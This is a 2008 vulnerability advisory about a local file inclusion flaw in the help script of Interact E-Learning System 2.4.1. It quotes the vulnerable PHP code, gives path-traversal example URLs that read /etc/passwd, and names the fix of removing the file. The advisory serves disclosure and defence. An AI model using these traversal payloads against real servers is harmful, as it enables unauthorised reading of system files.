65 lines
No EOL
2.1 KiB
Text
65 lines
No EOL
2.1 KiB
Text
Digital Security Research Group [DSecRG] Advisory #DSECRG-08-31
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Application: Interact E-Learning System
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Versions Affected: 2.4.1
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Vendor URL: http://sourceforge.net/projects/cce-interact
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Bug: Local File Include
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Exploits: YES
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Reported: 03.07.2008
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Vendor response: 04.07.2008
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Solution: YES
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Date of Public Advisory: 21.07.2008
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Authors: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)
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Description
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***********
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Interact E-Learning System system has local file include vulnerability in script help/help.php
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Vulnerable GET parameters "module", "file".
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Code
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****
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#################################################
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$module = isset($_GET['module']) ? $_GET['module']:'';
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$file = isset($_GET['file']) ? $_GET['file']:'';
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...
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$hpath=$CONFIG['BASE_PATH'].'/language/'.$_SESSION['language'].'/help/'.$module.'/'.$file;
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if (is_file($hpath)){
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require_once($hpath);
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} else {
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require_once($CONFIG['BASE_PATH'].'/language/default/help/'.$module.'/'.$file);
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}
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#################################################
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Example:
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http://[server]/[installdir]/help/help.php?module=../../../../../../../../../../../../../etc/passwd%00
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http://[server]/[installdir]/help/help.php?file=../../../../../../../../../../../../../etc/passwd
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Solution
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********
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This file is no longer required by the system. Remove it from installation.
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Vendor response:
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"I have posted an alert to users to remove this from their installations asap and will get it removed from the next release of the package."
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About
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*****
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Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.
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# milw0rm.com [2008-07-21] |